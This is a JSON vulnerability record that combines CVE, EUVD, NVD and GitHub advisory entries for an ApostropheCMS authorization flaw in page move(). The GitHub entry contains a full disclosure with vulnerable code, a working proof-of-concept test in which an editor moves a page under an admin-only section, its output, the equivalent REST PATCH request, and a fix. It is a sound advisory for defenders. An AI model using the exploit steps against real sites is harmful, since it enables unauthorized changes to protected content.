{"id":"GHSA-wr5r-wqp2-x4fh","revision":null,"records":[{"revision":"5fdc5576b14546018d9abfc2391be381","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-63669","aliases":[],"title":"ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.32.0, the page module's move() operation fails to enforce the destination parent's _create permission because its oldParent archive condition disables the check for ordinary moves, allowing an authenticated editor or contributor to use _targetId and _position through the page REST update endpoint to move a controlled page into a restricted subtree and make nudgeNewPeers() updateMany re-rank protected sibling pages. This issue is fixed in version 4.32.0.","state":0,"publishedAt":"2026-08-17T19:41:52.574+00:00","modifiedAt":"2026-08-17T22:01:18.244+00:00","affected":[{"ecosystem":"Vendor product","name":"apostrophe","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"apostrophecms\",\n                    \"product\": \"apostrophe\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.32.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh","https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63669","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-63669","identifiers":["CVE-2026-63669"]},"retained":false,"historicalAffected":[]},{"revision":"2a613dbd87984b1db86bc4ccfded1a5e","observedAt":"2026-11-07T13:30:16.683+00:00","statement":{"source":"euvd","id":"EUVD-2026-60438","aliases":["CVE-2026-63669","GHSA-wr5r-wqp2-x4fh"],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.32.0, the page module's move() operation fails to enforce the destination parent's _create permission because its oldParent archive condition disables the check f…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.32.0, the page module's move() operation fails to enforce the destination parent's _create permission because its oldParent archive condition disables the check for ordinary moves, allowing an authenticated editor or contributor to use _targetId and _position through the page REST update endpoint to move a controlled page into a restricted subtree and make nudgeNewPeers() updateMany re-rank protected sibling pages. This issue is fixed in version 4.32.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"severity":null}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh","https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-60438","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 17, 2026, 7:41:52 PM","dateUpdated":"Aug 17, 2026, 10:01:18 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-60438","identifiers":["EUVD-2026-60438","CVE-2026-63669","GHSA-wr5r-wqp2-x4fh"]},"retained":false,"historicalAffected":[]},{"revision":"78a8cb8e48ad48369dbc58ac10707acf","observedAt":"2026-10-25T15:18:45.851+00:00","statement":{"source":"nvd","id":"CVE-2026-63669","aliases":[],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.32.0, the page module's move() operation fails to enforce the destination parent's _create permission because its oldParent archive condition disables the check f…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.32.0, the page module's move() operation fails to enforce the destination parent's _create permission because its oldParent archive condition disables the check for ordinary moves, allowing an authenticated editor or contributor to use _targetId and _position through the page REST update endpoint to move a controlled page into a restricted subtree and make nudgeNewPeers() updateMany re-rank protected sibling pages. This issue is fixed in version 4.32.0.","state":0,"publishedAt":"2026-08-17T20:16:44.87+00:00","modifiedAt":"2026-10-23T16:10:00.313+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c","https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63669","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-639","CWE-862"],"productCriteria":[],"sourceDates":{"published":"2026-08-17T20:16:44.870","lastModified":"2026-10-23T16:10:00.313"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-63669","identifiers":["CVE-2026-63669"]},"retained":false,"historicalAffected":[]},{"revision":"3449246a395b46ccabd83fd20812a44a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-wr5r-wqp2-x4fh","aliases":["CVE-2026-63669"],"title":"ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree","description":"## Summary\nApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (and the core `@apostrophecms/archive-page` does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The `move()` operation is supposed to enforce that a page may only be moved *into* a parent the actor has **create** rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with `.permission('create')`).\n\nA regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)`. Because the final `&&` clause requires `oldParent.type === '@apostrophecms/archive-page'`, the whole conjunction can only be true while restoring a page *out of the archive*. For any ordinary move (the source page's old parent is a normal page), that clause is `false`, the entire condition is `false`, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` — i.e. \"can the actor edit the page being moved\", which a low-privileged editor legitimately holds for their own ordinary pages.\n\nThe result is that any authenticated user who can edit at least one page can relocate that page **under a parent of a restricted type they have no create/edit rights over**, and in doing so trigger an unauthenticated, unchecked `updateMany` that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented `PATCH`/`PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker-controlled `_targetId` / `_position` body fields.\n\n## Affected code (4.31.0)\n\nThe broken guard in `move()` — `packages/apostrophe/modules/@apostrophecms/page/index.js`:\n\n```js\nif (!moved._edit) {\n  throw self.apos.error('forbidden');\n}\nif (!(parent && oldParent)) {\n  // Move outside tree\n  throw self.apos.error('forbidden');\n}\nif (\n  (oldParent._id !== parent._id) &&\n  (parent.type !== '@apostrophecms/archive-page') &&\n  (!parent._create) &&\n  (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)   // <-- regression: gates the whole check on \"moving out of the archive\"\n) {\n  throw self.apos.error('forbidden');\n}\n```\n\nThe target/parent is fetched with permission filtering explicitly OFF (so the guard above is the *only* thing that is supposed to enforce destination authorization) — `getTarget()`:\n\n```js\nconst target = await self.findForEditing(_req, criteria)\n  .permission(false)        // target is located regardless of the actor's rights\n  .archived(null)\n  .areas(false)\n  .ancestors({ depth: 1, ... permission: false })\n  .children({ depth: 1, ... permission: false }).toObject();\n```\n\nThe privileged sink that then runs unguarded — `nudgeNewPeers()` re-ranks the destination parent's existing children with a raw DB write and no permission check:\n\n```js\nasync function nudgeNewPeers() {\n  const locale = moved.aposLocale.split(':')[0];\n  const criteria = {\n    path: self.matchDescendants(parent),\n    aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },\n    level: parent.level + 1,\n    rank: { $gte: rank }\n  };\n  // Nudge down the pages that should now follow us\n  await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });\n  ...\n}\n```\n\nThe REST entry point — the `patch` route reaches `move()` after only the `moved._edit` gate, with attacker-controlled `_targetId` / `_position`:\n\n```js\nconst page = await self.findOneForEditing(req, { _id });\n...\nif (!page._edit) {\n  throw self.apos.error('forbidden');\n}\n...\nif (input._targetId) {\n  const targetId = self.apos.launder.string(input._targetId);\n  const position = self.apos.launder.string(input._position);\n  modified = await self.move(req, page._id, targetId, position);\n}\n```\n\nFor comparison, the sibling page-**insert** route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets `notfound`:\n\n```js\n// post route (insert)\nconst target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied\n```\n\n### Provenance (introduced regression)\nThe guard was correct until commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` (\"allow restore pages\"), which changed it from `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create)` to the four-clause version above. The intent was to stop legitimate *archive restores* (where `parent._create` can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire `_create` enforcement on `oldParent` being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).\n\n## Attacker model / precondition\nThe attacker is a low-privileged but content-editing authenticated user — in the core role model an `editor` or (in draft mode) a `contributor` — who can edit at least one ordinary page. No admin rights, no special tokens.\n\nThe differentiated-permission boundary that makes this a *bypass* must exist in the project. In core, `permission.can(req, 'create'/'edit', type)` is computed per page-type via `checkRoleConfig('editRole')`, so the boundary is present whenever a project configures a page type (or the archive) with an `editRole` / `publishRole` higher than the actor's role, or uses per-page `editPermission` / the `@apostrophecms/workflow` add-on to make `_edit` / `_create` page-specific. The core `@apostrophecms/archive-page` already ships `editRole: 'admin'` / `publishRole: 'admin'`, and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.\n\n## Impact\nA user with no create/edit rights over a restricted page-type subtree can:\n\n- Relocate a page they control **into** that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and\n- Cause an unchecked `updateMany` to **re-rank the restricted parent's existing children** — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.\n\nThis is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nThe PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real `apos.page.move()` code path with a non-admin `editor` request. It creates an admin-only section page type (`editRole: 'admin'`), an admin-owned `secret` section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.\n\nEnvironment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.\n\n```bash\n# 1. Disposable MongoDB on 127.0.0.1\ndocker run -d --name apos-mongo -p 27017:27017 mongo:7\n\n# 2. Repo at the anchor\ngit clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe\ncd /tmp/dh-apostrophe\ngit checkout 68f1312d3          # 4.31.0 line\nnpm i -g pnpm\npnpm install --filter apostrophe...\n\n# 3. Drop in the PoC test and run it\ncd /tmp/dh-apostrophe/packages/apostrophe\n#   (write test/poc-move-bac.js below, then:)\nnpx mocha test/poc-move-bac.js\n```\n\n`packages/apostrophe/test/poc-move-bac.js`:\n\n```js\n// PoC: Broken Access Control in apos.page.move()\n// A non-admin (editor) can move a page they may edit UNDER a parent page\n// whose type is admin-only (editRole: 'admin'), bypassing the destination\n// \"create\" permission check that move() is supposed to enforce.\nconst t = require('../test-lib/test.js');\nconst assert = require('assert');\n\ndescribe('PoC move BAC', function() {\n  let apos;\n  this.timeout(t.timeout);\n\n  after(async function() {\n    await t.destroy(apos);\n    apos = null;\n  });\n\n  before(async function() {\n    apos = await t.create({\n      root: module,\n      modules: {\n        // A restricted page type: only admins may edit/create pages of this type.\n        'secret-page': {\n          extend: '@apostrophecms/page-type',\n          options: {\n            editRole: 'admin',\n            publishRole: 'admin'\n          }\n        },\n        // An ordinary page type any editor can edit/create.\n        'public-page': {\n          extend: '@apostrophecms/page-type'\n        },\n        '@apostrophecms/page': {\n          options: {\n            park: [],\n            types: [\n              { name: '@apostrophecms/home-page', label: 'Home' },\n              { name: 'secret-page', label: 'Secret' },\n              { name: 'public-page', label: 'Public' }\n            ]\n          }\n        }\n      }\n    });\n  });\n\n  it('demonstrates the BAC', async function() {\n    const adminReq = apos.task.getReq({ role: 'admin' });\n    const home = await apos.page.find(adminReq, { level: 0 }).toObject();\n\n    // Admin creates an admin-only \"secret\" section page directly under home.\n    const secret = await apos.page.insert(adminReq, home._id, 'lastChild', {\n      title: 'Secret Section',\n      type: 'secret-page',\n      slug: '/secret'\n    });\n\n    // Admin creates a pre-existing CHILD inside the secret section. Its rank\n    // must NOT be silently rewritten by a lower-priv user's move.\n    const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', {\n      title: 'Secret Child',\n      type: 'secret-page',\n      slug: '/secret/child'\n    });\n    const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n    // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT\n    // pages of type secret-page (editRole: admin).\n    const editorReq = apos.task.getReq({\n      role: 'editor',\n      user: { _id: 'editor-user', title: 'Editor', role: 'editor' }\n    });\n\n    // The editor creates an ordinary page under home (allowed).\n    const mine = await apos.page.insert(editorReq, home._id, 'lastChild', {\n      title: 'My Page',\n      type: 'public-page',\n      slug: '/mine'\n    });\n\n    // Sanity: confirm the editor genuinely lacks create/edit rights on the\n    // secret section (so a move under it MUST be forbidden).\n    const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })\n      .permission(false).toObject();\n    console.log('PRECONDITION editor._create on secret =', secretForEditor._create,\n      ' editor._edit on secret =', secretForEditor._edit);\n    assert.strictEqual(secretForEditor._create, undefined,\n      'precondition: editor must NOT have create rights on the admin-only section');\n\n    // THE ATTACK: editor moves their ordinary page UNDER the admin-only\n    // secret section. This SHOULD throw \"forbidden\". If it succeeds, BAC.\n    // Use 'firstChild' so the moved page takes rank 0 and the pre-existing\n    // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the\n    // editor cannot edit).\n    let moveError = null;\n    try {\n      await apos.page.move(editorReq, mine._id, secret._id, 'firstChild');\n    } catch (e) {\n      moveError = e;\n    }\n\n    const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();\n    const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();\n\n    console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)');\n    console.log('moved page path:', moved && moved.path);\n    console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId));\n    console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);\n\n    // Assertions that prove the vulnerability:\n    assert.strictEqual(moveError, null,\n      'VULN NOT PRESENT: move was correctly forbidden');\n    assert.ok(moved.path.includes(secret.aposDocId),\n      'VULN: editor relocated their page under the admin-only section');\n    assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,\n      'VULN: editor re-ranked an admin-only sibling page they cannot edit');\n\n    console.log('\\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***');\n  });\n});\n```\n\nObserved output (4.31.0, commit `68f1312d3`):\n\n```\n  PoC move BAC\nListening at http://localhost:34129\nPRECONDITION editor._create on secret = undefined  editor._edit on secret = undefined\nmove threw: NOTHING (move succeeded)\nmoved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d\nmoved page is now under secret? true\nsecret child rank BEFORE: 0  AFTER: 1\n\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***\n    ✔ demonstrates the BAC (390ms)\n\n  1 passing (6s)\n```\n\nThe precondition holds (`editor._create on secret = undefined`), the move did not throw (`NOTHING`), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via `PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft` with body `{ \"_targetId\": \"<restrictedSectionId>:en:draft\", \"_position\": \"firstChild\" }` (the route reaches `move()` after only the `page._edit` gate on the moved page).\n\n## Remediation\nRestore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:\n\n```js\nif (\n  (oldParent._id !== parent._id) &&\n  (parent.type !== '@apostrophecms/archive-page') &&\n  (!parent._create) &&\n  !(oldParent.type === '@apostrophecms/archive-page' && parent._edit)\n) {\n  throw self.apos.error('forbidden');\n}\n```\n\nThat is: a cross-parent move into a non-archive destination is forbidden unless the actor has `create` on the destination — with the single exception that restoring a page *out of the archive* into a destination the actor may `edit` is allowed. Equivalently, fetch the destination with `.permission('create')` (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher `editRole`/`publishRole`, mirroring the PoC above.\n\nPlease credit 5ud0 / Tarmo Technologies.","state":0,"publishedAt":"2026-09-03T20:05:08+00:00","modifiedAt":"2026-09-03T20:15:05.8909503+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.32.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh","https://nvd.nist.gov/vuln/detail/CVE-2026-63669","https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c","https://github.com/apostrophecms/apostrophe"],"sourceUrl":"https://github.com/advisories/GHSA-wr5r-wqp2-x4fh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wr5r-wqp2-x4fh","identifiers":["GHSA-wr5r-wqp2-x4fh","CVE-2026-63669"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T05:06:54.7224170+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T05:06:54.722417+00:00","lastSuccessAt":"2026-11-08T05:06:54.8753142+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.875316+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-5f996ab4d545d4c69ea2b6ee3009c8c4105f63df9cfbbf4c578c7470282be4b4","complete":true,"records":421074,"lastAttemptAt":"2026-11-08T05:06:53.5215713+00:00","lastSuccessAt":"2026-11-08T05:06:53.4988286+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:53.5215713+00:00","snapshotPublishedAt":"2026-11-08T04:25:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce0df89a405747cda5b7c61ae0b48fb2","complete":true,"records":13633,"lastAttemptAt":"2026-11-08T05:08:40.2673541+00:00","lastSuccessAt":"2026-11-08T05:08:40.263+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:40.263+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T05:06:54.7224170+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T05:06:54.722417+00:00","lastSuccessAt":"2026-11-08T05:06:54.8762568+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.8762573+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-449054d6321e4ff8818c6b898fdac406","complete":true,"records":13645,"lastAttemptAt":"2026-11-08T05:08:11.1749792+00:00","lastSuccessAt":"2026-11-08T05:08:11.17+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:11.17+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T05:06:54.1714031+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.1714031+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T05:06:53.6785795+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:53.6785795+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T05:06:54.5508124+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.5508124+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-08T05:06:54.0611713+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.0611713+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}